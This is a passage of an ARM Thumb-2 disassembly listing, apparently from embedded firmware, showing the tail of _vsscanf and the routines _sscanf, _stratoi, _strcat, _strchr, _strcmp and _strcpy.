10107130: 1010706d .word 0x1010706d 10107134: 1010706d .word 0x1010706d 10107138: 1010706d .word 0x1010706d 1010713c: 1010706d .word 0x1010706d 10107140: 1010706d .word 0x1010706d 10107144: 1010706d .word 0x1010706d 10107148: 1010706d .word 0x1010706d 1010714c: 1010706d .word 0x1010706d 10107150: 1010706d .word 0x1010706d 10107154: 1010706d .word 0x1010706d 10107158: 1010706d .word 0x1010706d 1010715c: 1010706d .word 0x1010706d 10107160: 1010706d .word 0x1010706d 10107164: 1010706d .word 0x1010706d 10107168: 1010706d .word 0x1010706d 1010716c: 1010706d .word 0x1010706d 10107170: 1010706d .word 0x1010706d 10107174: 1010706d .word 0x1010706d 10107178: 1010706d .word 0x1010706d 1010717c: 1010706d .word 0x1010706d 10107180: 1010706d .word 0x1010706d 10107184: 1010706d .word 0x1010706d 10107188: 1010706d .word 0x1010706d 1010718c: 1010706d .word 0x1010706d 10107190: 1010706d .word 0x1010706d 10107194: 1010706d .word 0x1010706d 10107198: 1010706d .word 0x1010706d 1010719c: 1010706d .word 0x1010706d 101071a0: 1010706d .word 0x1010706d 101071a4: 1010706d .word 0x1010706d 101071a8: 1010706d .word 0x1010706d 101071ac: 1010706d .word 0x1010706d 101071b0: 1010706d .word 0x1010706d 101071b4: 1010706d .word 0x1010706d 101071b8: 10107499 .word 0x10107499 101071bc: 1010706d .word 0x1010706d 101071c0: 1010706d .word 0x1010706d 101071c4: 1010706d .word 0x1010706d 101071c8: 1010706d .word 0x1010706d 101071cc: 1010706d .word 0x1010706d 101071d0: 1010706d .word 0x1010706d 101071d4: 1010706d .word 0x1010706d 101071d8: 1010706d .word 0x1010706d 101071dc: 1010706d .word 0x1010706d 101071e0: 1010706d .word 0x1010706d 101071e4: 1010745d .word 0x1010745d 101071e8: 10107455 .word 0x10107455 101071ec: 1010706d .word 0x1010706d 101071f0: 1010706d .word 0x1010706d 101071f4: 1010706d .word 0x1010706d 101071f8: 1010706d .word 0x1010706d 101071fc: 101074ad .word 0x101074ad 10107200: 1010706d .word 0x1010706d 10107204: 1010706d .word 0x1010706d 10107208: 1010706d .word 0x1010706d 1010720c: 1010706d .word 0x1010706d 10107210: 1010706d .word 0x1010706d 10107214: 1010744d .word 0x1010744d 10107218: 1010706d .word 0x1010706d 1010721c: 1010706d .word 0x1010706d 10107220: 1010706d .word 0x1010706d 10107224: 101073db .word 0x101073db 10107228: 1010706d .word 0x1010706d 1010722c: 101072cb .word 0x101072cb 10107230: 1010706d .word 0x1010706d 10107234: 1010706d .word 0x1010706d 10107238: 10107499 .word 0x10107499 1010723c: 2a68 cmp r2, #104 ; 0x68 1010723e: 9201 str r2, [sp, #4] 10107240: f04f 38ff mov.w r8, #4294967295 10107244: f47f af38 bne.w 101070b8 <_vsscanf+0xd4> 10107248: 786a ldrb r2, [r5, #1] 1010724a: 2a68 cmp r2, #104 ; 0x68 1010724c: f105 0101 add.w r1, r5, #1 10107250: f000 8184 beq.w 1010755c <_vsscanf+0x578> 10107254: 460d mov r5, r1 10107256: e739 b.n 101070cc <_vsscanf+0xe8> 10107258: 7869 ldrb r1, [r5, #1] 1010725a: 428a cmp r2, r1 1010725c: f105 0001 add.w r0, r5, #1 10107260: f000 8157 beq.w 10107512 <_vsscanf+0x52e> 10107264: 460a mov r2, r1 10107266: 4605 mov r5, r0 10107268: e730 b.n 101070cc <_vsscanf+0xe8> 1010726a: 7820 ldrb r0, [r4, #0] 1010726c: b938 cbnz r0, 1010727e <_vsscanf+0x29a> 1010726e: e6fd b.n 1010706c <_vsscanf+0x88> 10107270: 2a2c cmp r2, #44 ; 0x2c 10107272: d00a beq.n 1010728a <_vsscanf+0x2a6> 10107274: 2a25 cmp r2, #37 ; 0x25 10107276: d008 beq.n 1010728a <_vsscanf+0x2a6> 10107278: f012 0fdf tst.w r2, #223 ; 0xdf 1010727c: d005 beq.n 1010728a <_vsscanf+0x2a6> 1010727e: f815 2f01 ldrb.w r2, [r5, #1]! 10107282: f1a2 0309 sub.w r3, r2, #9 10107286: 2b04 cmp r3, #4 10107288: d8f2 bhi.n 10107270 <_vsscanf+0x28c> 1010728a: 2820 cmp r0, #32 1010728c: d011 beq.n 101072b2 <_vsscanf+0x2ce> 1010728e: f1a0 0109 sub.w r1, r0, #9 10107292: 2904 cmp r1, #4 10107294: d90d bls.n 101072b2 <_vsscanf+0x2ce> 10107296: 282c cmp r0, #44 ; 0x2c 10107298: d105 bne.n 101072a6 <_vsscanf+0x2c2> 1010729a: e00a b.n 101072b2 <_vsscanf+0x2ce> 1010729c: 2b2c cmp r3, #44 ; 0x2c 1010729e: d008 beq.n 101072b2 <_vsscanf+0x2ce> 101072a0: f013 0fdf tst.w r3, #223 ; 0xdf 101072a4: d005 beq.n 101072b2 <_vsscanf+0x2ce> 101072a6: f814 3f01 ldrb.w r3, [r4, #1]! 101072aa: f1a3 0109 sub.w r1, r3, #9 101072ae: 2904 cmp r1, #4 101072b0: d8f4 bhi.n 1010729c <_vsscanf+0x2b8> 101072b2: 462f mov r7, r5 101072b4: e6a9 b.n 1010700a <_vsscanf+0x26> 101072b6: 9b02 ldr r3, [sp, #8] 101072b8: f8da 2000 ldr.w r2, [sl] 101072bc: 1ae1 subs r1, r4, r3 101072be: 6011 str r1, [r2, #0] 101072c0: f10a 0a04 add.w sl, sl, #4 101072c4: 786a ldrb r2, [r5, #1] 101072c6: 1c6f adds r7, r5, #1 101072c8: e69f b.n 1010700a <_vsscanf+0x26> 101072ca: 2300 movs r3, #0 101072cc: 220a movs r2, #10 101072ce: 9300 str r3, [sp, #0] 101072d0: e001 b.n 101072d6 <_vsscanf+0x2f2> 101072d2: f814 6f01 ldrb.w r6, [r4, #1]! 101072d6: 2e20 cmp r6, #32 101072d8: f1a6 0309 sub.w r3, r6, #9 101072dc: d0f9 beq.n 101072d2 <_vsscanf+0x2ee> 101072de: 2b04 cmp r3, #4 101072e0: d9f7 bls.n 101072d2 <_vsscanf+0x2ee> 101072e2: 2e2c cmp r6, #44 ; 0x2c 101072e4: d0f5 beq.n 101072d2 <_vsscanf+0x2ee> 101072e6: 9b00 ldr r3, [sp, #0] 101072e8: 4611 mov r1, r2 101072ea: 9203 str r2, [sp, #12] 101072ec: b113 cbz r3, 101072f4 <_vsscanf+0x310> 101072ee: 2e2d cmp r6, #45 ; 0x2d 101072f0: f000 8125 beq.w 1010753e <_vsscanf+0x55a> 101072f4: f1b8 3fff cmp.w r8, #4294967295 101072f8: 4620 mov r0, r4 101072fa: f000 811a beq.w 10107532 <_vsscanf+0x54e> 101072fe: f7ff fe11 bl 10106f24 <judge_digit_width> 10107302: 9a03 ldr r2, [sp, #12] 10107304: 4540 cmp r0, r8 10107306: bfb8 it lt 10107308: fa0f f880 sxthlt.w r8, r0 1010730c: 2e00 cmp r6, #0 1010730e: f43f aead beq.w 1010706c <_vsscanf+0x88> 10107312: 2a10 cmp r2, #16 10107314: f000 8101 beq.w 1010751a <_vsscanf+0x536> 10107318: 2a0a cmp r2, #10 1010731a: f000 80e2 beq.w 101074e2 <_vsscanf+0x4fe> 1010731e: 2a08 cmp r2, #8 10107320: f040 80dc bne.w 101074dc <_vsscanf+0x4f8> 10107324: 3e30 subs r6, #48 ; 0x30 10107326: 2e07 cmp r6, #7 10107328: f63f aea0 bhi.w 1010706c <_vsscanf+0x88> 1010732c: f1b8 0f18 cmp.w r8, #24 10107330: f300 80df bgt.w 101074f2 <_vsscanf+0x50e> 10107334: f1b8 0f00 cmp.w r8, #0 10107338: f340 8120 ble.w 1010757c <_vsscanf+0x598> 1010733c: a806 add r0, sp, #24 1010733e: f108 3cff add.w ip, r8, #4294967295 10107342: f10d 0117 add.w r1, sp, #23 10107346: 4484 add ip, r0 10107348: 1e66 subs r6, r4, #1 1010734a: f816 3f01 ldrb.w r3, [r6, #1]! 1010734e: f801 3f01 strb.w r3, [r1, #1]! 10107352: 4561 cmp r1, ip 10107354: d1f9 bne.n 1010734a <_vsscanf+0x366> 10107356: 9b00 ldr r3, [sp, #0] 10107358: 2b00 cmp r3, #0 1010735a: f000 80d2 beq.w 10107502 <_vsscanf+0x51e> 1010735e: 9b01 ldr r3, [sp, #4] 10107360: 2b4c cmp r3, #76 ; 0x4c 10107362: a905 add r1, sp, #20 10107364: f000 80ff beq.w 10107566 <_vsscanf+0x582> 10107368: 4e8a ldr r6, [pc, #552] ; (10107594 <_vsscanf+0x5b0>) 1010736a: 47b0 blx r6 1010736c: 17c1 asrs r1, r0, #31 1010736e: 2600 movs r6, #0 10107370: 4444 add r4, r8 10107372: 9405 str r4, [sp, #20] 10107374: f10d 0217 add.w r2, sp, #23 10107378: f802 6f01 strb.w r6, [r2, #1]! 1010737c: 454a cmp r2, r9 1010737e: d1fb bne.n 10107378 <_vsscanf+0x394> 10107380: 9b01 ldr r3, [sp, #4] 10107382: f1a3 0248 sub.w r2, r3, #72 ; 0x48 10107386: 2a32 cmp r2, #50 ; 0x32 10107388: d81b bhi.n 101073c2 <_vsscanf+0x3de> 1010738a: e8df f002 tbb [pc, r2] 1010738e: 1a9a .short 0x1a9a 10107390: 1a931a1a .word 0x1a931a1a 10107394: 1a1a1a1a .word 0x1a1a1a1a 10107398: 1a1a1a1a .word 0x1a1a1a1a 1010739c: 1a1a1a1a .word 0x1a1a1a1a 101073a0: 1a1a1a1a .word 0x1a1a1a1a 101073a4: 1a1a1a1a .word 0x1a1a1a1a 101073a8: 1a1a1a1a .word 0x1a1a1a1a 101073ac: 1aa11a1a .word 0x1aa11a1a 101073b0: 1a1a1a1a .word 0x1a1a1a1a 101073b4: 1a1a1a1a .word 0x1a1a1a1a 101073b8: 1a1a1a1a .word 0x1a1a1a1a 101073bc: 1a1a1a1a .word 0x1a1a1a1a 101073c0: 1a .byte 0x1a 101073c1: 00 .byte 0x00 101073c2: f8da 2000 ldr.w r2, [sl] 101073c6: 6010 str r0, [r2, #0] 101073c8: f10a 0a04 add.w sl, sl, #4 101073cc: f10b 0b01 add.w fp, fp, #1 101073d0: 2c00 cmp r4, #0 101073d2: f43f ae4b beq.w 1010706c <_vsscanf+0x88> 101073d6: 786a ldrb r2, [r5, #1] 101073d8: e617 b.n 1010700a <_vsscanf+0x26> 101073da: f647 71ff movw r1, #32767 ; 0x7fff 101073de: 4632 mov r2, r6 101073e0: f1b8 3fff cmp.w r8, #4294967295 101073e4: bf08 it eq 101073e6: 4688 moveq r8, r1 101073e8: f10a 0604 add.w r6, sl, #4 101073ec: f8da 3000 ldr.w r3, [sl] 101073f0: e001 b.n 101073f6 <_vsscanf+0x412> 101073f2: f814 2f01 ldrb.w r2, [r4, #1]! 101073f6: 2a20 cmp r2, #32 101073f8: f1a2 0109 sub.w r1, r2, #9 101073fc: d0f9 beq.n 101073f2 <_vsscanf+0x40e> 101073fe: 2904 cmp r1, #4 10107400: d9f7 bls.n 101073f2 <_vsscanf+0x40e> 10107402: 2a2c cmp r2, #44 ; 0x2c 10107404: d0f5 beq.n 101073f2 <_vsscanf+0x40e> 10107406: b1d2 cbz r2, 1010743e <_vsscanf+0x45a> 10107408: f108 30ff add.w r0, r8, #4294967295 1010740c: b280 uxth r0, r0 1010740e: f1b8 0f00 cmp.w r8, #0 10107412: d014 beq.n 1010743e <_vsscanf+0x45a> 10107414: 3002 adds r0, #2 10107416: 4420 add r0, r4 10107418: 1c61 adds r1, r4, #1 1010741a: e006 b.n 1010742a <_vsscanf+0x446> 1010741c: f1be 0f04 cmp.w lr, #4 10107420: d90d bls.n 1010743e <_vsscanf+0x45a> 10107422: 2a2c cmp r2, #44 ; 0x2c 10107424: d00b beq.n 1010743e <_vsscanf+0x45a> 10107426: 4281 cmp r1, r0 10107428: d009 beq.n 1010743e <_vsscanf+0x45a> 1010742a: f803 2b01 strb.w r2, [r3], #1 1010742e: 460c mov r4, r1 10107430: f811 2b01 ldrb.w r2, [r1], #1 10107434: f012 0fdf tst.w r2, #223 ; 0xdf 10107438: f1a2 0e09 sub.w lr, r2, #9 1010743c: d1ee bne.n 1010741c <_vsscanf+0x438> 1010743e: 2200 movs r2, #0 10107440: 701a strb r2, [r3, #0] 10107442: f10b 0b01 add.w fp, fp, #1 10107446: 46b2 mov sl, r6 10107448: 786a ldrb r2, [r5, #1] 1010744a: e5de b.n 1010700a <_vsscanf+0x26> 1010744c: 2300 movs r3, #0 1010744e: 2208 movs r2, #8 10107450: 9300 str r3, [sp, #0] 10107452: e740 b.n 101072d6 <_vsscanf+0x2f2> 10107454: 2301 movs r3, #1 10107456: 220a movs r2, #10 10107458: 9300 str r3, [sp, #0] 1010745a: e73c b.n 101072d6 <_vsscanf+0x2f2> 1010745c: f1b8 3fff cmp.w r8, #4294967295 10107460: f10a 0e04 add.w lr, sl, #4 10107464: f8da 0000 ldr.w r0, [sl] 10107468: f000 8091 beq.w 1010758e <_vsscanf+0x5aa> 1010746c: 4633 mov r3, r6 1010746e: 3801 subs r0, #1 10107470: 1c61 adds r1, r4, #1 10107472: f108 38ff add.w r8, r8, #4294967295 10107476: fa0f f888 sxth.w r8, r8 1010747a: f1b8 0f00 cmp.w r8, #0 1010747e: f800 3f01 strb.w r3, [r0, #1]! 10107482: 460c mov r4, r1 10107484: dd03 ble.n 1010748e <_vsscanf+0x4aa> 10107486: f811 3b01 ldrb.w r3, [r1], #1 1010748a: 2b00 cmp r3, #0 1010748c: d1f1 bne.n 10107472 <_vsscanf+0x48e> 1010748e: f10b 0b01 add.w fp, fp, #1 10107492: 786a ldrb r2, [r5, #1] 10107494: 46f2 mov sl, lr 10107496: e5b8 b.n 1010700a <_vsscanf+0x26> 10107498: 2300 movs r3, #0 1010749a: 2210 movs r2, #16 1010749c: 9300 str r3, [sp, #0] 1010749e: e71a b.n 101072d6 <_vsscanf+0x2f2> 101074a0: 2e25 cmp r6, #37 ; 0x25 101074a2: f47f ade3 bne.w 1010706c <_vsscanf+0x88> 101074a6: 3401 adds r4, #1 101074a8: 786a ldrb r2, [r5, #1] 101074aa: e5ae b.n 1010700a <_vsscanf+0x26> 101074ac: 2301 movs r3, #1 101074ae: 2200 movs r2, #0 101074b0: 9300 str r3, [sp, #0] 101074b2: e710 b.n 101072d6 <_vsscanf+0x2f2> 101074b4: f8da 2000 ldr.w r2, [sl] 101074b8: f10a 0a04 add.w sl, sl, #4 101074bc: e882 0003 stmia.w r2, {r0, r1} 101074c0: e784 b.n 101073cc <_vsscanf+0x3e8> 101074c2: f8da 2000 ldr.w r2, [sl] 101074c6: 7010 strb r0, [r2, #0] 101074c8: f10a 0a04 add.w sl, sl, #4 101074cc: 9c05 ldr r4, [sp, #20] 101074ce: e77d b.n 101073cc <_vsscanf+0x3e8> 101074d0: f8da 2000 ldr.w r2, [sl] 101074d4: f10a 0a04 add.w sl, sl, #4 101074d8: 8010 strh r0, [r2, #0] 101074da: e777 b.n 101073cc <_vsscanf+0x3e8> 101074dc: 2a00 cmp r2, #0 101074de: f47f af25 bne.w 1010732c <_vsscanf+0x348> 101074e2: 3e30 subs r6, #48 ; 0x30 101074e4: 2e09 cmp r6, #9 101074e6: f63f adc1 bhi.w 1010706c <_vsscanf+0x88> 101074ea: f1b8 0f18 cmp.w r8, #24 101074ee: f77f af21 ble.w 10107334 <_vsscanf+0x350> 101074f2: f240 1181 movw r1, #385 ; 0x181 101074f6: 4828 ldr r0, [pc, #160] ; (10107598 <_vsscanf+0x5b4>) 101074f8: 9203 str r2, [sp, #12] 101074fa: f7f9 f9b9 bl 10100870 <io_assert_failed> 101074fe: 9a03 ldr r2, [sp, #12] 10107500: e718 b.n 10107334 <_vsscanf+0x350> 10107502: 9b01 ldr r3, [sp, #4] 10107504: 2b4c cmp r3, #76 ; 0x4c 10107506: a905 add r1, sp, #20 10107508: d030 beq.n 1010756c <_vsscanf+0x588> 1010750a: 4b24 ldr r3, [pc, #144] ; (1010759c <_vsscanf+0x5b8>) 1010750c: 4798 blx r3 1010750e: 9900 ldr r1, [sp, #0] 10107510: e72d b.n 1010736e <_vsscanf+0x38a> 10107512: 2a6c cmp r2, #108 ; 0x6c 10107514: d02d beq.n 10107572 <_vsscanf+0x58e> 10107516: 4605 mov r5, r0 10107518: e5d8 b.n 101070cc <_vsscanf+0xe8> 1010751a: f1a6 0130 sub.w r1, r6, #48 ; 0x30 1010751e: 2909 cmp r1, #9 10107520: f67f af04 bls.w 1010732c <_vsscanf+0x348> 10107524: f026 0120 bic.w r1, r6, #32 10107528: 3941 subs r1, #65 ; 0x41 1010752a: 2905 cmp r1, #5 1010752c: f67f aefe bls.w 1010732c <_vsscanf+0x348> 10107530: e59c b.n 1010706c <_vsscanf+0x88> 10107532: f7ff fcf7 bl 10106f24 <judge_digit_width> 10107536: 9a03 ldr r2, [sp, #12] 10107538: fa0f f880 sxth.w r8, r0 1010753c: e6e6 b.n 1010730c <_vsscanf+0x328> 1010753e: f1b8 3fff cmp.w r8, #4294967295 10107542: f104 0001 add.w r0, r4, #1 10107546: d01b beq.n 10107580 <_vsscanf+0x59c> 10107548: f7ff fcec bl 10106f24 <judge_digit_width> 1010754c: 3001 adds r0, #1 1010754e: 4540 cmp r0, r8 10107550: 9a03 ldr r2, [sp, #12] 10107552: bfb8 it lt 10107554: fa0f f880 sxthlt.w r8, r0 10107558: 7866 ldrb r6, [r4, #1] 1010755a: e6d7 b.n 1010730c <_vsscanf+0x328> 1010755c: 2348 movs r3, #72 ; 0x48 1010755e: 78aa ldrb r2, [r5, #2] 10107560: 9301 str r3, [sp, #4] 10107562: 3502 adds r5, #2 10107564: e5b2 b.n 101070cc <_vsscanf+0xe8> 10107566: 4b0e ldr r3, [pc, #56] ; (101075a0 <_vsscanf+0x5bc>) 10107568: 4798 blx r3 1010756a: e700 b.n 1010736e <_vsscanf+0x38a> 1010756c: 4b0d ldr r3, [pc, #52] ; (101075a4 <_vsscanf+0x5c0>) 1010756e: 4798 blx r3 10107570: e6fd b.n 1010736e <_vsscanf+0x38a> 10107572: 234c movs r3, #76 ; 0x4c 10107574: 78aa ldrb r2, [r5, #2] 10107576: 9301 str r3, [sp, #4] 10107578: 3502 adds r5, #2 1010757a: e5a7 b.n 101070cc <_vsscanf+0xe8> 1010757c: a806 add r0, sp, #24 1010757e: e6ea b.n 10107356 <_vsscanf+0x372> 10107580: f7ff fcd0 bl 10106f24 <judge_digit_width> 10107584: 3001 adds r0, #1 10107586: fa0f f880 sxth.w r8, r0 1010758a: 9a03 ldr r2, [sp, #12] 1010758c: e7e4 b.n 10107558 <_vsscanf+0x574> 1010758e: 3401 adds r4, #1 10107590: 7006 strb r6, [r0, #0] 10107592: e77c b.n 1010748e <_vsscanf+0x4aa> 10107594: 10108199 .word 0x10108199 10107598: 101d5430 .word 0x101d5430 1010759c: 101082d1 .word 0x101082d1 101075a0: 10107fe5 .word 0x10107fe5 101075a4: 10107f25 .word 0x10107f25 101075a8 <_sscanf>: 101075a8: b40e push {r1, r2, r3} 101075aa: b500 push {lr} 101075ac: b082 sub sp, #8 101075ae: ab03 add r3, sp, #12 101075b0: f853 1b04 ldr.w r1, [r3], #4 101075b4: 461a mov r2, r3 101075b6: 9301 str r3, [sp, #4] 101075b8: f7ff fd14 bl 10106fe4 <_vsscanf> 101075bc: b002 add sp, #8 101075be: f85d eb04 ldr.w lr, [sp], #4 101075c2: b003 add sp, #12 101075c4: 4770 bx lr 101075c6: bf00 nop 101075c8 <_stratoi>: 101075c8: e92d 43f8 stmdb sp!, {r3, r4, r5, r6, r7, r8, r9, lr} 101075cc: 2400 movs r4, #0 101075ce: 4605 mov r5, r0 101075d0: 4e11 ldr r6, [pc, #68] ; (10107618 <_stratoi+0x50>) 101075d2: 4627 mov r7, r4 101075d4: 46a0 mov r8, r4 101075d6: 47b0 blx r6 101075d8: f105 39ff add.w r9, r5, #4294967295 101075dc: f819 3f01 ldrb.w r3, [r9, #1]! 101075e0: f1a3 0130 sub.w r1, r3, #48 ; 0x30 101075e4: eb08 0288 add.w r2, r8, r8, lsl #2 101075e8: 2909 cmp r1, #9 101075ea: eb03 0342 add.w r3, r3, r2, lsl #1 101075ee: d80c bhi.n 1010760a <_stratoi+0x42> 101075f0: f1a3 0830 sub.w r8, r3, #48 ; 0x30 101075f4: 4628 mov r0, r5 101075f6: 47b0 blx r6 101075f8: 3401 adds r4, #1 101075fa: 42a0 cmp r0, r4 101075fc: d2ee bcs.n 101075dc <_stratoi+0x14> 101075fe: b10f cbz r7, 10107604 <_stratoi+0x3c> 10107600: f1c8 0800 rsb r8, r8, #0 10107604: 4640 mov r0, r8 10107606: e8bd 83f8 ldmia.w sp!, {r3, r4, r5, r6, r7, r8, r9, pc} 1010760a: 782b ldrb r3, [r5, #0] 1010760c: 2b2d cmp r3, #45 ; 0x2d 1010760e: d1f6 bne.n 101075fe <_stratoi+0x36> 10107610: 2c00 cmp r4, #0 10107612: d1f4 bne.n 101075fe <_stratoi+0x36> 10107614: 2701 movs r7, #1 10107616: e7ed b.n 101075f4 <_stratoi+0x2c> 10107618: 10107821 .word 0x10107821 1010761c <_strcat>: 1010761c: 0783 lsls r3, r0, #30 1010761e: b510 push {r4, lr} 10107620: 4604 mov r4, r0 10107622: d110 bne.n 10107646 <_strcat+0x2a> 10107624: 6802 ldr r2, [r0, #0] 10107626: f1a2 3301 sub.w r3, r2, #16843009 ; 0x1010101 1010762a: ea23 0302 bic.w r3, r3, r2 1010762e: f013 3f80 tst.w r3, #2155905152 ; 0x80808080 10107632: d108 bne.n 10107646 <_strcat+0x2a> 10107634: f850 2f04 ldr.w r2, [r0, #4]! 10107638: f1a2 3301 sub.w r3, r2, #16843009 ; 0x1010101 1010763c: ea23 0302 bic.w r3, r3, r2 10107640: f013 3f80 tst.w r3, #2155905152 ; 0x80808080 10107644: d0f6 beq.n 10107634 <_strcat+0x18> 10107646: 7803 ldrb r3, [r0, #0] 10107648: b11b cbz r3, 10107652 <_strcat+0x36> 1010764a: f810 3f01 ldrb.w r3, [r0, #1]! 1010764e: 2b00 cmp r3, #0 10107650: d1fb bne.n 1010764a <_strcat+0x2e> 10107652: f000 f8a5 bl 101077a0 <_strcpy> 10107656: 4620 mov r0, r4 10107658: bd10 pop {r4, pc} 1010765a: bf00 nop 1010765c <_strchr>: 1010765c: b470 push {r4, r5, r6} 1010765e: f011 04ff ands.w r4, r1, #255 ; 0xff 10107662: d034 beq.n 101076ce <_strchr+0x72> 10107664: 0785 lsls r5, r0, #30 10107666: d00f beq.n 10107688 <_strchr+0x2c> 10107668: 7803 ldrb r3, [r0, #0] 1010766a: 2b00 cmp r3, #0 1010766c: d05a beq.n 10107724 <_strchr+0xc8> 1010766e: 429c cmp r4, r3 10107670: d02b beq.n 101076ca <_strchr+0x6e> 10107672: 1c43 adds r3, r0, #1 10107674: e005 b.n 10107682 <_strchr+0x26> 10107676: f813 2b01 ldrb.w r2, [r3], #1 1010767a: 2a00 cmp r2, #0 1010767c: d04f beq.n 1010771e <_strchr+0xc2> 1010767e: 4294 cmp r4, r2 10107680: d023 beq.n 101076ca <_strchr+0x6e> 10107682: 079a lsls r2, r3, #30 10107684: 4618 mov r0, r3 10107686: d1f6 bne.n 10107676 <_strchr+0x1a> 10107688: 020e lsls r6, r1, #8 1010768a: f406 467f and.w r6, r6, #65280 ; 0xff00 1010768e: 4326 orrs r6, r4 10107690: 6801 ldr r1, [r0, #0] 10107692: ea46 4606 orr.w r6, r6, r6, lsl #16 10107696: e001 b.n 1010769c <_strchr+0x40> 10107698: f850 1f04 ldr.w r1, [r0, #4]! 1010769c: ea86 0501 eor.w r5, r6, r1 101076a0: f1a5 3301 sub.w r3, r5, #16843009 ; 0x1010101 101076a4: f1a1 3201 sub.w r2, r1, #16843009 ; 0x1010101 101076a8: ea23 0305 bic.w r3, r3, r5 101076ac: ea22 0201 bic.w r2, r2, r1 101076b0: 4313 orrs r3, r2 101076b2: f013 3f80 tst.w r3, #2155905152 ; 0x80808080 101076b6: d0ef beq.n 10107698 <_strchr+0x3c> 101076b8: 7803 ldrb r3, [r0, #0] 101076ba: b923 cbnz r3, 101076c6 <_strchr+0x6a> 101076bc: e032 b.n 10107724 <_strchr+0xc8> 101076be: f810 3f01 ldrb.w r3, [r0, #1]! 101076c2: 2b00 cmp r3, #0 101076c4: d02e beq.n 10107724 <_strchr+0xc8> 101076c6: 429c cmp r4, r3 101076c8: d1f9 bne.n 101076be <_strchr+0x62> 101076ca: bc70 pop {r4, r5, r6} 101076cc: 4770 bx lr 101076ce: 0784 lsls r4, r0, #30 101076d0: d00b beq.n 101076ea <_strchr+0x8e> 101076d2: 7803 ldrb r3, [r0, #0] 101076d4: 2b00 cmp r3, #0 101076d6: d0f8 beq.n 101076ca <_strchr+0x6e> 101076d8: 1c43 adds r3, r0, #1 101076da: e003 b.n 101076e4 <_strchr+0x88> 101076dc: 7802 ldrb r2, [r0, #0] 101076de: 3301 adds r3, #1 101076e0: 2a00 cmp r2, #0 101076e2: d0f2 beq.n 101076ca <_strchr+0x6e> 101076e4: 0799 lsls r1, r3, #30 101076e6: 4618 mov r0, r3 101076e8: d1f8 bne.n 101076dc <_strchr+0x80> 101076ea: 6802 ldr r2, [r0, #0] 101076ec: f1a2 3301 sub.w r3, r2, #16843009 ; 0x1010101 101076f0: ea23 0302 bic.w r3, r3, r2 101076f4: f013 3f80 tst.w r3, #2155905152 ; 0x80808080 101076f8: d108 bne.n 1010770c <_strchr+0xb0> 101076fa: f850 2f04 ldr.w r2, [r0, #4]! 101076fe: f1a2 3301 sub.w r3, r2, #16843009 ; 0x1010101 10107702: ea23 0302 bic.w r3, r3, r2 10107706: f013 3f80 tst.w r3, #2155905152 ; 0x80808080 1010770a: d0f6 beq.n 101076fa <_strchr+0x9e> 1010770c: 7803 ldrb r3, [r0, #0] 1010770e: 2b00 cmp r3, #0 10107710: d0db beq.n 101076ca <_strchr+0x6e> 10107712: f810 3f01 ldrb.w r3, [r0, #1]! 10107716: 2b00 cmp r3, #0 10107718: d1fb bne.n 10107712 <_strchr+0xb6> 1010771a: bc70 pop {r4, r5, r6} 1010771c: 4770 bx lr 1010771e: 4610 mov r0, r2 10107720: bc70 pop {r4, r5, r6} 10107722: 4770 bx lr 10107724: 4618 mov r0, r3 10107726: bc70 pop {r4, r5, r6} 10107728: 4770 bx lr 1010772a: bf00 nop 1010772c <_strcmp>: 1010772c: ea40 0301 orr.w r3, r0, r1 10107730: f013 0303 ands.w r3, r3, #3 10107734: b470 push {r4, r5, r6} 10107736: d11d bne.n 10107774 <_strcmp+0x48> 10107738: 680a ldr r2, [r1, #0] 1010773a: 6804 ldr r4, [r0, #0] 1010773c: 42a2 cmp r2, r4 1010773e: d119 bne.n 10107774 <_strcmp+0x48> 10107740: f1a2 3401 sub.w r4, r2, #16843009 ; 0x1010101 10107744: ea24 0202 bic.w r2, r4, r2 10107748: f012 3f80 tst.w r2, #2155905152 ; 0x80808080 1010774c: d125 bne.n 1010779a <_strcmp+0x6e> 1010774e: 1d05 adds r5, r0, #4 10107750: 1d0c adds r4, r1, #4 10107752: e002 b.n 1010775a <_strcmp+0x2e> 10107754: f012 3f80 tst.w r2, #2155905152 ; 0x80808080 10107758: d11c bne.n 10107794 <_strcmp+0x68> 1010775a: 6826 ldr r6, [r4, #0] 1010775c: 4628 mov r0, r5 1010775e: f855 3b04 ldr.w r3, [r5], #4 10107762: f1a3 3201 sub.w r2, r3, #16843009 ; 0x1010101 10107766: 42b3 cmp r3, r6 10107768: 4621 mov r1, r4 1010776a: ea22 0203 bic.w r2, r2, r3 1010776e: f104 0404 add.w r4, r4, #4 10107772: d0ef beq.n 10107754 <_strcmp+0x28> 10107774: 7803 ldrb r3, [r0, #0] 10107776: 780a ldrb r2, [r1, #0] 10107778: b92b cbnz r3, 10107786 <_strcmp+0x5a> 1010777a: e006 b.n 1010778a <_strcmp+0x5e> 1010777c: f810 3f01 ldrb.w r3, [r0, #1]! 10107780: b133 cbz r3, 10107790 <_strcmp+0x64> 10107782: f811 2f01 ldrb.w r2, [r1, #1]! 10107786: 4293 cmp r3, r2 10107788: d0f8 beq.n 1010777c <_strcmp+0x50> 1010778a: 1a98 subs r0, r3, r2 1010778c: bc70 pop {r4, r5, r6} 1010778e: 4770 bx lr 10107790: 784a ldrb r2, [r1, #1] 10107792: e7fa b.n 1010778a <_strcmp+0x5e> 10107794: 2000 movs r0, #0 10107796: bc70 pop {r4, r5, r6} 10107798: 4770 bx lr 1010779a: 4618 mov r0, r3 1010779c: e7f6 b.n 1010778c <_strcmp+0x60> 1010779e: bf00 nop 101077a0 <_strcpy>: 101077a0: ea41 0300 orr.w r3, r1, r0 101077a4: 079b lsls r3, r3, #30 101077a6: b430 push {r4, r5} 101077a8: d11e bne.n 101077e8 <_strcpy+0x48> 101077aa: 680a ldr r2, [r1, #0] 101077ac: f1a2 3301 sub.w r3, r2, #16843009 ; 0x1010101 101077b0: ea23 0302 bic.w r3, r3, r2 101077b4: f013 3f80 tst.w r3, #2155905152 ; 0x80808080 101077b8: 4603 mov r3, r0 101077ba: d10c bne.n 101077d6 <_strcpy+0x36> 101077bc: 1d0d adds r5, r1, #4 101077be: f843 2b04 str.w r2, [r3], #4 101077c2: 4629 mov r1, r5 101077c4: f855 2b04 ldr.w r2, [r5], #4 101077c8: f1a2 3401 sub.w r4, r2, #16843009 ; 0x1010101 101077cc: ea24 0402 bic.w r4, r4, r2 101077d0: f014 3f80 tst.w r4, #2155905152 ; 0x80808080 101077d4: d0f3 beq.n 101077be <_strcpy+0x1e> 101077d6: 3b01 subs r3, #1 101077d8: f811 2b01 ldrb.w r2, [r1], #1 101077dc: f803 2f01 strb.w r2, [r3, #1]! 101077e0: 2a00 cmp r2, #0 101077e2: d1f9 bne.n 101077d8 <_strcpy+0x38> 101077e4: bc30 pop {r4, r5} 101077e6: 4770 bx 